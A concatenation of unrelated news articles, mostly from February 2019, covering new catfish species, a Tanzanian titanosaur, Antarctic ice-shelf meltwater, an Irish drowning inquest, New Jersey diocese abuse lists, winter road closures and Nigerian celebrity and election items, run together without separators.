De Souza and her team discovered the catfish in northeastern South America in parts of Venezuela, Colombia and Guyana, which make up a geographic region called the Guiana Shield, according to the statement. But like many other species the world over, the catfish face some threats to their survival.

Ancistrus patronus or "protector" was one of six new species of bristlenose catfish discovered in the Amazon. (Image credit: Jonathan Armbruster)

The creatures are very sensitive to even tiny changes in their environment. So, in some of the clear-water rivers and streams where they were once plentiful, they are now scarce, according to the statement. Threats to their health and numbers include large-scale agriculture, deforestation and gold mining  the latter can both change the fishes' habitat and poison them with mercury.

The demise or reduction in population of one species, of course, can affect others. Giant river otters, for example, eat these fish all the time, according to the statement. "All the layers of the Amazon basin are interconnected, from the rivers to the forest canopy," de Souza said. "Everything begins with naming a species and determining how many species you have. Once you have done the taxonomy, then you can study the ecology [and] behavior and do conservation action."

Some of the other newfound species include A. yutajae, named for a pair of star-crossed lovers in an Amazonian legend; A. Saudades, meaning melancholy in Portuguese; and A. leoni, named after a deceased colleague of the researchers.

Originally published on Live Science.But this dinosaur, named Mnyamawamtuka moyowamkia, is extraordinary beyond its lovely tail. Paleontologists spent five years climbing a steep cliff in Tanzania so they could dig out all of the bus-size dinosaur's fossilized bones and teeth. And the discovery of this fairly complete, 100-million-year-old titanosaur (a group that includes the largest of the long-necked herbivores called sauropods) reveals more about how titanosaurs in Africa were related to their cousins in South America.

But really, each of the heart-shaped tail vertebra is the cherry on top of this discovery. [See Photos of the "Romantic" Titanosaur from Tanzania]

"It's pretty cute," said study lead researcher Eric Gorscak, a research associate at the Field Museum of Natural History in Chicago and an assistant professor at Midwestern University just outside Chicago. "[The vertebra] has these two prominent bumps on the top corners  and at the bottom it kind of comes down to a point, so it gives it that heart outline. It looks like the emoji of the heart."

Digging up the beast

Researchers discovered the first few M. moyowamkia fossils in 2004, when they were scouring the Mtuka River bed in southwest Tanzania for exposed fossils. Little is known about the Cretaceous period (145 million to 65 million years ago) of southern African, so the researchers were hoping for a big find.

And that's exactly what they got. The researchers spied some fossils embedded in the side of a cliff about 24 feet (7.3 meters) above the riverbed. For the next few field seasons, they returned with climbing equipment, and started chiseling away at the cliff face, excavating the Cretaceous-age bones.

In 2008, they had a windfall. The scientists were in a remote area, but they happened to make friends with a local contractor who was using heavy equipment to mine in the region. This contractor lent them his machinery, allowing the scientists to dig out the heaviest and deepest buried bones, said study co-researcher Patrick O'Connor, a professor of anatomy at Ohio University, who led the Tanzania excavation with support from the National Science Foundation.

Still growing

Mnyamawamtuka moyowamkia (Mm-nya-ma-wah-mm-too-ka mm-oh-yo-wa-mm-key-ah), which means "beast of the Mtuka" and "heart of the tail," respectively, in Swahili, was a big beast, but it wasn't done growing yet.

Meet Mnyamawamtuka moyowamkia, the newly discovered titanosaur dinosaur unearthed in Tanzania. (Image credit: Copyright Mark Witton)

The titanosaur's vertebrae (the backbones) aren't fully fused as an adult's would be, suggesting it was "still fairly young, like a teenager maybe," Gorscak told Live Science. It's unclear how it died, but the beast doesn't have discernible teeth marks on it from a predatory dinosaur, so it's unlikely it was anyone's dinner, Gorscak said. However it died, the dinosaur's body was buried quickly, which would explain why so many bones were preserved, he noted.

The teenage titanosaur likely weighed up to about 1.6 tons (1.5 metric tons), stood about 5 feet (1.5 m) tall at the hips and measured about 25 feet (7.6 m) long from head to tail, Gorscak and O'Connor said. [Gallery: Massive New Dinosaur Discovered in Sub-Saharan Africa]

Researchers are still learning what types of plants lived in Cretaceous southern Africa, but this is about the time that flowering plants (known as angiosperms) were taking off, and there were definitely ferns and palm-tree-like cycads. So, it's likely that M. moyowamkia munched on these to beef up, Gorscak said.

Titanosaur cousins

M. moyowamkia's anatomy suggests that it's closely related to other titanosaurs in Africa, including Malawisaurus, as well as early titanosaurs in South America, Gorscak said.

"Most of what we know about titanosaurs comes from South America," he said. "Mnyamawamtuka is kind of filling in that gap; titanosaurs were here in Africa during their early evolution, and they were just as weird as other titanosaurs elsewhere."

Geography may explain why the South American and African titanosaurs were similar. It took South America awhile to "unzip" from Africa (they were both once part of the supercontinent Gondwana), finally separating about 100 million to 95 million years ago, Gorscak said.

Moreover, South America and Africa unzipped south to north, "so, the southern part of Africa becomes semi-isolated because it's still connected to northern Africa, which is still connected to the northern part of South America and intermittently with Europe and Asia," Gorscak said. Even so, dinosaurs in these regions share anatomical similarities, he noted.

Titanosaurs lived on every continent on Earth, so it's important to find more species in regions that have few discoveries, including southern Africa, said Kristi Curry Rogers, a professor of geology at Macalester College in St. Paul, Minnesota, who was not involved with the study.

"Every new discovery of animals like Mnyamawamtuka adds data that clarify the picture of how dinosaur ecosystems evolved along with the continents they inhabited," Rogers told Live Science.

The study was published online today (Feb. 13) in the journal PLOS ONE.

Originally published on Live Science.On Jan. 31, 2002, a vast crescent of ice about the size of Rhode Island splintered off of the coast of Antarctica and spilled a flotilla of massive, melting icebergs into the sea. By March, some 1,250 square miles (3,250 square kilometers) of ice had melted away from the continent's edge, undoing more than 10,000 years of growth and stability in a little more than a month.

NASA scientists monitoring the ancient ice sheet  formerly known as the Larsen B Ice Shelf  were startled by the sudden collapse; never had the researchers witnessed so much ice disappear so quickly.

They did have some warning, though. In the months preceding the collapse, the shelf's surface had become riddled with more than 2,000 meltwater lakes  large pools of melted ice and snow that form on the surfaces of ice shelves during the summer melting season. These seasonal reservoirs can contain more than a million tons of water apiece and, according to a new study published today (Feb. 13) in the journal Nature Communications, may actually be able to bend portions of huge ice shelves so much that they break in half, ushering in their spectacular demise. [Photos: Diving Beneath Antarctica's Ross Ice Shelf]

"That's most likely what happened to Larsen B in 2002," lead study author Alison Banwell, a visiting researcher at the Cooperative Institute for Research In Environmental Sciences (CIRES), said in a statement.

To bend a glacier

After the 2002 collapse, researchers suspected meltwater pools had something to do with Larsen B's sudden demise (on top of myriad other factors, including drastically warming Antarctic waters). However, direct evidence of this hypothetical lake strain was lacking.

In November 2016, Banwell and her colleagues sought some cold, hard proof. Through a combination of legwork and satellite imagery, the researchers scouted out four large lake basins on Antarctica's McMurdo Ice Shelf (one piece of the massive Ross Ice Shelf, the continent's largest) that would soon fill with summer meltwater.

Alison Banwell wades through a meltwater lake in Antarctica to retrieve a pressure sensor. (Image credit: Grant Macdonald)

At each lake site, the team hammered down a metal pole containing GPS and pressure-sensing equipment to measure changes in ice elevation and water depth over the coming melt season. Three months later, the team retrieved the equipment via helicopter (the ice had since become too thin for overland travel).

Each lake left a clear imprint on the ice sheet. According to the team's sensors, the center of each lake had sunk between 3 and 4 feet (about a meter) as water filled each basin, then bounced back up again after the water had drained. Ice just 1,500 feet (half a kilometer) away showed hardly any vertical movement at all.

While the bending caused by the meltwater lakes filling and draining did not fracture the McMurdo Ice Shelf, the team used some mathematical models to estimate that a group of slightly larger lakes clustered more closely together could indeed cause the whole shelf to break apart.

These findings make it clear that the added weight of thousands of seasonal meltwater lakes played a role in the precipitous collapse of Larsen B. The precise extent of that meltwater damage is impossible to know  however, the CIRES researchers are confident that their models could help scientists predict the breakup of large ice shelves more accurately in the future. With seemingly every new year setting heat records, and the Arctic (the other home to the world's massive ice sheets) warming two to three times as quickly as the rest of the planet, there's no question those models will be needed.

Originally published on Live Science.AN INTERNAL investigation found that there was no fault on the part of the "valiant" National Ambulance Service (NAS) after paramedics were sent to three wrong locations before arriving at the scene of a double drowning in County Clare.

An inquest was held into the tragic deaths of teenagers Jack Kenneally, 15, and Shay Moloney Harding, 15, who drowned while swimming at a disused quarry at Roslevan, in Ennis on May 31 last.

Coroner John McNamara returned a verdict of accidental death due to asphyxiation, secondary to drowning, at a hearing at HSE buildings, Catherine Street, Limerick city, this Wednesday morning.

The inquest depositions from the teenagers friends, who witnessed the incident, were read out in the coroners court by Insp Dermot OConnor in front of heartbroken family members.

Rowan OFlaherty, 16, of Showgrounds Road, Ennis, said that they were at the quarry looking for places to swim, and had been talking about going to an island in the area.

He said they were half-way in when he saw Jack kind of panicky swimming and that he swam to help him.

He said that Killian Brennan, 16, was trying to assist Jack.

He said that he didnt know that Shay was in trouble.

He said when he saw three lads in Leaving Cert nearby, he called for help.

He said one of them saw Shays head go under and that when he got onto land, he called 999 for help.

Rowan asked the NAS to track his phone location, after he was told that they had gone to Whelans quarry on Lahinch Road.

He said that gardai told us to go behind the hill so that we wouldnt see them take them out of the water.

Killian Brennan said that Shay entered the water first, and that when Jack got into difficulty in the water, he shouted help.

He said that while he was assisting Jack, Hugh Connolly, 16, was helping Shay.

Mr Connolly said that when they arrived at the site, they decided to swim to the island up quarry. He said that two or three minutes after Jack kind of panicked, he went down.

He said he was trying to keep Shay up but my arms got too tired and couldnt hold him anymore.

Dean Coughlan, 19, said he had entered the quarry via a derelict barn with his friends. After he heard screaming, he heard one teenager shouting: He is drowning, he is drowning.

Mr Coughlan said he kept trying to reassure Hugh, that I was on my way and that he should keep Shay up.

He said: I made an attempt to dive down for the lads but the water was too cloudy. He said that it was 40 minutes before all the emergency services were at the scene, and that Ennis Fire Service were first at the scene.

Member of the community, Christopher Scanlon, 45, said he went to the quarry to walk his dog when one of the boys asked him for help. He told one of the boys to go to a nearby house for a lifebuoy.

Mr Scanlon said he could see a boy in blue shorts with his head in his hands and that he was present when the Jack and Shay were removed from the water.

David Woods said he was driving past a Mick Fords house when he stopped the car to see if everything was okay and asked one of the teenagers what was going on. He said he made several attempts to dive for the two boys.

Michael ORourke, of Roslevan, recovered the two bodies from the water after equipping himself with diving gear.

Mr ORourke, a diver with the Ennis Sub-Aqua Club, arrived at the scene when he and his wife noticed a search and rescue helicopter in the area.

After offering his services to gardai, gardai assisted him with putting on the diving gear, the inquest heard.

He described the water as very cloudy as a result of silt causing poor visibility.

He noted that the temperature of the water was 13 degrees Celsius and that the maximum depth of the water was four metres. He commented that the water was not suitable for swimming.

Ennis Fire Station sub-officer, Stephen Hayes said that he received a call from the coast guard at around 3.30pm.

Two firefighters entered the water and were unsuccessful in retrieving Shay as the water was just too deep.

The coroner was told during the inquest that the fire service does not have subsurface capability and that they have buoyancy aids to keep us on surface.

The two boys were eventually handed over to the NAS at 4.26pm and were flown away by coast guard helicopter to University Hospital Limerick at 4.52pm.

Advanced paramedic Alan West, who was in charge of the scene, received a call at 3.28pm of a suspected drowning at a disused quarry.

The inquest heard that there was confusion over the quarry. He said Shay was taken from the water at 4.15pm, and he was in cardiac arrest.

Mechanical CPR was attached to both boys, and advanced life-support medication was administered to both, but said there was no change in their conditions.

He said that when they were brought to the emergency department at UHL, staff were on standby with two resuscitation teams.

The inquest heard that paramedics arrived at the scene around 30 minutes after the initial call, and that they went to other locations first.

He said that a control room in Tallaght instructed them to go to Whelans quarry at Lahinch Road, then Ryans quarry at Corofin Road, and at a quarry at Woodstock.

After being questioned by a family member in relation to the initial call, Mr West said: We had no contact with the caller.

Mr West said that he started an investigation as he was unhappy as you can imagine, and concluded that it was no fault of the National Ambulance Service (NAS) and that they followed policy and procedure.

A member of the family acknowledged this and said to Mr West: We know it wasnt your fault".

Jack was pronounced dead by Dr Alan Watts at 5.19pm at UHL. Shay was pronounced dead at 5.11pm by Dr Damien Ryan.

Investigating officer, Gda Aine Kelly, of Ennis garda station, said that the coroner was informed of the two fatalities at 6.20pm on May 31.

Dr Terezia Laslo, citing medical evidence by UHL pathologist Dr Gabor Laskai, said that both boys died as a result of asphyxiation, secondary to drowning.

She confirmed that a toxicology examination for drug and alcohol returned negative for both boys.

Coroner John McNamara, returning the verdict of accidental death, said to the family: I know that it is extremely difficult for the families of Jack and Shay to hear such detailed evidence of this tragic incident.

He said it was obviously a very warm day adding that it was not unusual for people to go swimming in warm conditions.

Unfortunately, this quarry is not suitable for swimming, he said, and commended the young friends who tried to help them.

He also commended the efforts of Dean Coughlan. He said that valiant efforts were made by paramedics at the scene.

A member of the family asked the coroner if he make a recommendation that lifebuoys be installed at the quarry. He replied: I can certainly make a recommendation that lifebuoys be installed.

Insp OConnor said he could only imagine the shock and sadness for the family and expressed his condolences.Dermot Healy's masterpiece, On Broken Wings, is coming to Carrigallen's Corn Mill Theatre for an eight night run.

The play takes its title from a popular song of the 1930s, a period in which some of the scenes are set. It opens in contemporary Ireland with an old masked figure - Timothy Lavell - seated by the hearth of a cottage on the Mullet peninsula.

We follow in Act I scenes from Timothys childhood, including his trip by boat and train to Scotland, and his time there potato-picking, before return home again.

In Act II we follow Timothys life in America. He finds work as an elevator man, and encounters many races and creeds. His experiences, his failed love affair, his hallucinations, and his fears are explored.

Eventually he returns to Ireland to sit by the hearth like his father and mother before him. Timothy Lavell is a stubborn survivor of another age.



The production's eight night run covers Thursday, February 14, Friday 15, Saturday 16, Wednesday 20, Thursday 21, Friday 22, Monday 25 and Tuesday, February 26.

To book your seat contact the Corn Mill Theatre, Carrigallen, 087 2570363 or email: bookings@cornmilltheatre.com.Leitrim County Council in conjunction with Comhairle na nOg Liatrioma won the National Impact Award with Use Your Brain Not Your Fists in the Community and Council Awards at the weekend.



The awards were presented by IPB Insurance and Local Authority Members Association in Croke Park on Saturday February 9.

The award recognises the positive effect of the campaign on the nation.

The Use Your Brain campaign was an initiative by local young people for young people, reflecting the dire consequences of momentary senseless madness, more often than not as a result of alcohol or substance abuse.



The powerful content was inspired by the death of Andrew Dolan from Carrick-on-Shannon and the catastrophic injuries suffered by Shane Grogan from Tuam, following senseless and unprovoked attacks.



Cathaoirleach of Leitrim County Council Sean McGowan stated: It is wonderful to see the recognition given to Comhairle na nOg and the young people of Leitrim for this excellent project. The video is very powerful due to the heart breaking contributions of the Dolan and Grogan family and I hope that this video will be taken up by the Dept of Education and shown to all secondary school children throughout Ireland. Cllr Sean McGowan said the GAA is now looking at it in a national context, it is hoped to get it included on the second level school curriculum.

Cllrs Sinead Guckian and Finola Armstrong-McGuire also congratulated the group.

Also read: Bandwagon picking up speed as roar carries Leitrim homeIt's now full steam ahead for Relay for Life Kildare 2019 as it prepares to return to Punchestown Racecourse next July.

Read also: Commitment given by Bus Eireann to improve Kildare bus service

Starting at 1pm Saturday July 6 and finishing at 1pm Sunday, July 7, the organisers said the management at Punchestown have been very helpful and supportive of the event.

"Now is the time to look around your town, village, club, family and organise a team to take part in Relay and raise necessary funds for the Irish Cancer Society (ICS)," said Peter O'Neill.

"Relay is a 24 hour coming together of families and friends where we celebrate those who have survived cancer, we remember those who have died from this disease, and we now continue the fight back against it. Relay consists of a gentle walk around the many thousands of candle bags displaying their poignant messages about all who have been touched by cancer. The 24 hours are filled with lots of fun, laughter and exchanges of experiences and the highlight is the Candle of Hope Ceremony which takes place at dusk on the Saturday evening.

"We are urging teams from all parts of Kildare to ensure that their area is represented and indeed there are many pockets especially north and south of the county that have not been represented so far and maybe 2019 is the year to put that right."

Relay Chairperson Amy Mahon is looking forward to welcoming new teams and her contact is 085 1362373.

The team recruitment contact is Sharon Dillon Rowan at 087 6590480 and for candle bags Tina McCabe at 086 0508400.

For general information on Relay and any club or group looking to chat more can contact Peter O Neill at 087 2422380.Voters in Laois and Offaly will move into a new European Parliament election constituency dominated by Munster counties at the Brexit European Elections.

With some 100 days to go before and pending legislation from Dail Eireann, the election will more than likely take place on Friday, May 24.

Much has changed since the last time Europe went to the polls in 2014 with the UK set to leave the EU on March 29.

As a result, Ireland has gained an additional two MEPs which have been distributed to the constituencies of Dublin and Ireland South which has expanded to also include Laois and Offaly.

The move is a radical change for the two counties which were part of a midlands, north and west constituency last time out.

In 2014 Laois and Offaly voters shared the same constituency as people living in Donegal and Connemara. This time around Laois people will vote in the same constituency as people living in Skibbereen and Cork city.

The change creates an odd situation for voters on a Laois Offaly border town. Portarlington and its hinterland moves into the Kildare South at the next General Election as a result of a boundary change which reunites Laois and Offaly as a five-seat Dail constituency. Kildare gets an extra TD as a result.

However, the same voters will remain in Laois and Offaly at the European Elections.The Kildare hospital which is the first port of call for Laois stroke victims left more than 600 elderly patients waiting in its Emergency Department (ED/A&E) for beds last year.

Figures released to Sinn Fein show that a total of 643 patients aged 75 or over had to endure a 24-hour wait at Naas General Hospital last year.

Naas is one of a number of hospitals around Ireland which are designated centres to treat stroke. Patients from Laois are referred to Naas by GPs or taken there by ambulance unless they present to the A&E at Portlaoise or elsewhere.

Naas is part of the Dublin Midland Hospital Group which includes hospitals in Portlaoise and Tullamore as well as Tallaght and St James' hospitals in Dublin.

Tallaght hospital's A&E accommodated 268 elderly patients for more than 24 hours last year while St James Hospital left 168 senior citizens waiting for a day or more.

In total, 1,759 patients aged 75 or over had to wait at hospitals in Dublin and the midlands last year.A 23-year-old man who told gardai he was carrying a large knife for his own protection has been given the benefit of the probation act.

At last week's sitting of the district court in Portlaoise was Danny ONeill, 23, with a current address at Apt 2, 27 Main Street, Castleisland, Co. Kerry, and formerly of St Brigids Place, Portlaoise.

He was charged with possession of a knife, at the Ridge Road, Portlaoise.

Sgt JJ Kirby gave evidence that on November 17 last year, at the Ridge Road, Portlaoise, the accused was detected carrying a large knife, 20cm long and 4cm wide.

The accused said the knife was for his own protection.

The accused had no previous convictions.

Defence, Mr Barry Fitzgerald said that there had been no one else in the vicinity at the time, so on one was in immediate threat.

Mr Fitzgerald said the accused had moved to Laois from Belfast 12 years ago and developed a drug problem, running up a drug debt of 2,000.

On the night of the offence, the accused was on a cocktail of drink and drugs and got paranoid about people looking for him, said defence.

Ms Fitzgerald went on to say that the accused is now in employment and attending counselling for drugs, as he needs to rehabilitate himself.

Defence concluded by saying the accused was a young man and this offence was a very foolish thing to do.

Judge Catherine Staines remarked that knives are just lethal and said what was even more worrying was that the accused had been drunk on the night.

The accused himself told the court: I dont even know why I had it, to be honest.

As the accused was now working and staying away from drugs, Judge Staines said she would give him an opportunity, but she warned him not to have a knife again.

The accused was given the probation act, section 1.1.For his 18th birthday, Ethan Lindenberger gave himself something that he wished his parents had gotten for him years earlier.

Vaccines.

For 16 years I havent received any vaccinations, the Norwalk, Ohio resident said, explaining why he defied his parents, who believe the potential dangers of vaccinations outweigh the benefits. The only one he received was tetanus shot when he was 2.

Hes not alone in disagreeing with his parents and taking action. Other teens reaching 18, the age of consent for medical treatment decisions, are going against their parents wishes to get vaccinated against measles, chicken pox, hepatitis, tetanus, human papilloma virus and others.

According to the National Conference of State Legislatures, all 50 states have laws requiring specific vaccines for public school students, and all states allow exemptions for medical reasons. Almost all states (including Pennsylvania and New Jersey) grant religious exemptions to parents. Seventeen states (including Pennsylvania) allow philosophical exemptions for those who object because of personal, moral or other beliefs.

Measles outbreaks in the Pacific Northwest and Georgia are prompting some parents to reconsider and get shots for their kids. Others are undeterred, believing vaccines have downsides, including a connection to autism  although the 1990s study that made that case has been widely discredited. Some Washington state lawmakers are pushing to repeal the philosophical exemption for parents.

What do you think? Should Pennsylvania and other states repeal the exemption for philosophical or personal reasons? Have a say in our informal, unscientific poll, and feel free to elaborate in the comments section.Under mounting pressure to identify clergy accused of sexual misconduct, New Jerseys five Catholic dioceses opened their files Wednesday and released the names of every priest and deacon credibly accused of sexually abusing a child over multiple decades.

There are 188 names on the lists from the five dioceses. Of those, more than 100 are dead.

The lists include 63 priests and deacons accused in the Archdiocese of Newark, 57 in the Diocese of Camden, 30 in the Diocese of Trenton, 28 in the Diocese of Paterson and 11 in the Diocese of Metuchen. (One priest was listed on both the Newark and Paterson lists.)

The full list of named priests and deacons is at the bottom of this post.

In an effort to do what is right and just, we are publishing the names of diocesan clergy credibly accused of sexual abuse of minors in the Archdiocese of Newark. This list of names is the result of an extensive review of archdiocesan records dating back to 1940. All names were previously reported to law enforcement agencies, said Cardinal Joseph Tobin, head of the Archdiocese of Newark.

Dioceses around the country have been releasing similar lists of accused priests in recent months. New Jersey is the first state in the nation where every diocese in the state released its lists on the same day.

The dioceses voluntarily released the lists, though the release comes as New Jerseys attorney generals office has set up a task force to investigate priest sexual abuse and look into whether the Catholic Church improperly handled allegations of abuse.

While this is a positive first step towards transparency and accountability, I hope this spirit of openness continues during the course of our ongoing investigation and in response to our requests for records and information, said Gurbir Grewal, the states attorney general.

Despite the recent actions by the dioceses, our investigation remains ongoing because no institution or individual is immune from accountability, Grewal added.

The five dioceses have already collaborated to create a new compensation fund, unveiled earlier this week, to pay alleged victims settlements in exchange for not filing the lawsuits against the church.

The lists of accused priests include many who have died, in addition to those removed from ministry and stripped of their standing as clergy. However, most of the lists include little information about what the priests were accused of and whether they were moved from parish to parish or permitted to continue to serve with children after they were accused.

Several of the dioceses also failed to list which parishes the accused priests served in, making it difficult for parishioners to look up their churches.

In the Diocese of Trenton, a spokeswoman said church officials are still working on adding information to its list, which only included the name of the accused priests, their dates of birth, ordination date and their current status.

As of today, we are still in the review and verification process, which is why Bishop OConnell has been clear in presenting this as a preliminary list. We will update the list as soon as possible, said Rayanne Bennett, a spokeswoman for the Diocese of Trenton.

The Diocese of Paterson said it also plans to add the locations where priests served to its list.

We anticipate that the list on the website will be supplemented in the ensuing days, once we are satisfied with 100 percent accuracy," said Richard Sokerka, a spokesman for the Diocese of Paterson.

Some of the names on the Archdiocese of Newark list include:

--Former Cardinal Theodore McCarrick, the former head of the Archdiocese of Newark and the Diocese of Metuchen, is the highest-ranking priest on the list. McCarrick stepped down from ministry and gave up his cardinal title last year after he was accused of sexual misconduct with several priests and seminary students and the abuse of minors. He is awaiting a church trial.

--Rev. John Capparelli, who was ordained in 1980, was accused of repeatedly groping teenage boys in the 1970s and 1980s while active in ministry. He later worked as a public school math teacher in the Newark school district after he was removed from ministry. He agreed to the revocation of his teaching license in 2013.

--Rev. Michael Fugee, who worked in parishes in Newark, Rochelle Park, Short Hills and Wyckoff, was removed from ministry in March 2014 by the Vatican for repeatedly defying a lifetime ban on working with children. Fugee was accused of attending youth retreats and hearing confessions from minors despite signing a court-sanctioned decree forbidding such activities. His case was outlined in a report in The Star-Ledger in April 2013.

--Rev. Peter Cheplic, who was accused of molesting four teenage boys in the 1970s and 1980s. He repeatedly denied the accusations, but the Archdiocese of Newark removed him from ministry in 2006. In 2013 ,The Star-Ledger found Cheplic living with at least seven other alleged sexual predators in a Rutherford retirement home.

To help bring healing to the victims and restore trust in the leadership of the Catholic Church, the Archdiocese of Newark has released a list of those members of the clergy with credible allegations of sexual abuse of minors: https://t.co/uVSJP74Cab  Newark Archdiocese (@NwkArchdiocese) February 13, 2019

The release of the lists come after New Jerseys five dioceses  Newark, Camden, Paterson, Metuchen and Trenton announced Monday the establishment of a victim compensation fund and counseling program for victims of sexual abuse by clergy and other church employees.

The New Jersey attorney generals office began an investigation last year into how the states five dioceses handled sexual abuse allegations. The attorney generals task force has set up a hotline-- (855) 363-6548 -- for alleged victims to report abuse.

The lists included only the names of priests and deacons who worked within the New Jersey dioceses. The names of other New Jersey clergy members accused of abuse, including Jesuit priests, Benedictine monks and those who worked at schools and organizations run by religious orders are not expected to be included on the lists.

Tobin said the release of the New Jersey dioceses lists is part of big changes in the church.

The disclosure of this list of names is not an endpoint in our process. Rather, it is an expression of our commitment to protecting our children, and a new level of transparency in the way we report and respond to allegations of abuse. We must protect our children, first, foremost and always, Tobin said.

Some critics said they were pleased to see the Catholic Church opening up its files on abuse allegations, but they were skeptical church leaders were being truly transparent.

"Given the vast number of priests named as sexual abusers and the span of time in which the sexual abuse took place it is fair to state that the archdiocese and dioceses in New Jersey have forgotten how to be moral and kind with children, said Mitchell Garabedian, a Boston attorney portrayed in the film Spotlight. He has represented more than 50 alleged victims of sexual abuse in cases against the Catholic Church in New Jersey.

State Sen. Joseph Vitale, D-Middlesex, a long-time advocate for victims of abuse, who has also pushed to eliminate New Jerseys limits on civil lawsuits involving child sex abuse complaints against priests, wondered whether some priests may be left off the lists.

I think this list is decades overdue, Vitale said. Im appreciative that theyve revealed these names, particularly for those who may have been their victims. Time will tell whether this list is complete.

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Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.Highway restrictions ended at 10 p.m. Tuesday statewide, including on Interstate 78 and Routes 22 and 33 in the Lehigh Valley region, following a steady wintry mix that made for treacherous travel.

In New Jersey, commercial vehicle travel restrictions were lifted about 9:45 p.m. on all Interstate highways. Pennsylvania followed by lifting restrictions on all roads at 10 p.m.

"All vehicles previously listed in the restriction will be able to resume normal travel," the New Jersey Department of Transportation said in a news release. "We urge motorists to use caution, take it slow, and beware of black ice as temperatures fall tonight."

A winter storm warning remained in effect until midnight Tuesday for Lehigh, Northampton and Warren counties, the National Weather Service said shortly after 9 p.m. The forecast at that point was for an additional snow accumulation of up to 1 inch and ice accumulations around 1/10th of an inch.

"Plan on slippery road conditions," the warning read.

School officials announced a number of changes to the school-day schedule on Wednesday.

Incidents from disabled vehicles to rollover crashes kept police and first responders busy throughout the day Tuesday.

On the New Jersey Turnpike, a bus with 18 people aboard overturned Tuesday afternoon, with no serious injuries immediately reported.

The second of two single-vehicle rollover crashes within minutes Tuesday morning along Interstate 80 West in Warren County resulted in serious injuries.

In another morning crash, after light snow had moved in overnight, a Bethlehem man lost control in the left lane of I-78 West about 8:43 a.m. near mile-marker 58.7 in Salisbury Township, Pennsylvania State Police said in a news release.

His 2016 Kia Optima crossed the middle and right lanes, left the highway, struck an embankment and other large debris along the road and traveled along the embankment until it came upon the top of a concrete barrier. The car hit the barrier, drove off the barrier and fell a couple of feet before stopping.

The driver, 21-year-old Jeydu Santiago Gonzalez, was uninjured. Police charged him with failing to drive at a safe speed.

Visibility is poor as authorities respond to a crash just before 4 p.m. Tuesday, Feb. 12, 2019, on Interstate 78 in the Fogelsville area.

It wasn't just highways that were dangerous. Also in Salisbury, the Western Salisbury Volunteer Fire Co. reported a crash involving a sedan and a heating oil truck just before noon Tuesday at Lindberg Avenue and South 24th Street.

Prior to announcing all restrictions had been lifted, PennDOT was reporting about 8 p.m. a full commercial ban, including buses, remained in effect on I-80 from I-81 to the New Jersey Line.

On I-78 the full length from I-81 to New Jersey, Route 22 from I-78 to New Jersey and Route 33 from I-78 to I-80, a ban remained in effect into Tuesday night only on empty, straight CDL-weighted trucks; all Large Combination Vehicles (double trailers); tractors hauling empty trailers; any trailers pulled by motorcycles, passenger vehicles, pickup trucks or SUVs; all motorcycles; and all recreational vehicles and RVs, PennDOT reported.

A crash draws a response during winter weather shortly after 11 a.m. Tuesday, Feb. 12, 2019, on Interstate 78 in the area of Cedar Crest Boulevard in Salisbury Township.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein and Facebook. Find lehighvalleylive.com on Facebook.On Wednesday, New Jerseys five Catholic dioceses released the names of every priest and deacon credibly accused of sexually abusing a child over multiple decades.

In all, 188 clergy were named. The list included 11 priests and their assignments within the Diocese of Metuchen, which covers Warren and Hunterdon counties.

Based on the information available, lehighvalleylive.com compiled a list of locations where accused priests from the Metuchen diocese were assigned over their careers. The resulting interactive map above covers parishes across the dioceses four counties: Warren, Hunterdon, Somerset and Middlesex.

This map is meant to be informative and may not be comprehensive. Churches and schools listed here are where the accused priests worked, not necessarily where abuse took place.

Dates of their assignments were not included in the information released by the diocese. All the clergy are either dead or have been removed from their positions, including two currently under investigation.

The release of the lists comes after New Jerseys five dioceses  Newark, Camden, Paterson, Metuchen and Trenton  announced Monday the establishment of a victim compensation fund and counseling program for victims of sexual abuse by clergy and other church employees.

The New Jersey attorney generals office began an investigation last year into how the states five dioceses handled sexual abuse allegations. The attorney generals task force has set up a hotline -- (855) 363-6548 -- for victims to report abuse.

Steve Novak may be reached at snovak@lehighvalleylive.com. Follow him on Twitter @SteveNovakLVL andFacebook. Find lehighvalleylive.com on Facebook.BBNaija's Tobi Bakre has been in the news recently for a whole lot of reasons. Recently, he was accused of animal cruelty due to a horse-themed photo shoot. As Valentine's Day approaches, the ex-BBNaija housemate took to sharing a sad experience he had on a particular February 14.

On his Twitter page, the model and photographer recounted how he was stood up by a lady he had so much love for. According to him, when he was in the university, he had courted this beautiful woman whom he felt was the one.

In order to please her on Valentine's Day, he went ahead to borrow money from almost all of his family members. Then he used the money to book a reservation in an expensive restaurant. Even more, he bought a phone for her before the D-day.

Just so he could ensure that the lady would not miss their Valentine date, he gave her money to board a cab, he also took a taxi to the destination. With flowers in his hands and a lot of love in his heart, Tobi said he waited for his date to come.

READ ALSO: Media entrepreneur accuses BBNaija's Tobi Bakre of concept theft, he replies

After several minutes, she did not show up. Three hours passed, and still, his bae had not come. Dejected and sad, Tobi dragged himself to a club just so he could while away the remaining hours of his wasted day.

Upon reaching the popular club where he knew his friends would be, Tobi stumbled upon the lady that was supposed to be his date. He did not see her just hanging around, he met her entertaining men that were old enough to be her father.

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At first, he did not seem disturbed by this turn in event. However, something happened that broke his guts and caused him to shed tears helplessly. See his tweets below:

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Tobi's tweets invited many people who loved the thrills of a good gossip to a round table, and when he was done ranting about his sad Valentine's Day, laughter erupted all over social media.

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See some of the reactions below:

While BBNaija's Tobi Bakre intends to spend Valentine's Day alone, actress Mercy Johnson will be having a swell time with her hubby in Dubai. The beautiful diva has already started flooding social media with her lovely experiences in the fun-filled City of Gold.

NAIJ.com (naija.ng) -> Legit.ng We have upgraded to serve you better

Thousands of Nigerian youths attend auditions for BBNaija | Legit TV

Source: Legit- Reverend Andrew Abhulime urges Nigerians to pray for violence-free elections and also go out to vote

- Abhulime says that no patriotic citizen should decide to keep away from voting for any reason because it is a civic and spiritual responsibility

Some Catholic clerics on Wednesday, February 13, appealed to Christians faithful to pray and also go out to vote, as a service to God and the nation.

They spoke with the News Agency of Nigeria (NAN) in interviews on the upcoming elections in the country.

The parish priest, Saints Joachim and Anne Catholic Church, Ijegun, Rev Fr Andrew Abhulime, urged the faithful to pray for violence-free elections and also go out to vote.

He said that no patriotic citizen should decide to keep away from voting for any reason because it is a civic and spiritual responsibility.

READ ALSO: Amosuns anti-party posture is unfortunate - Buhari/Osinbajo campaign DG

Come this Saturday and the other slated one, every dedicated Christian, Catholic or Nigerian should go out and vote.

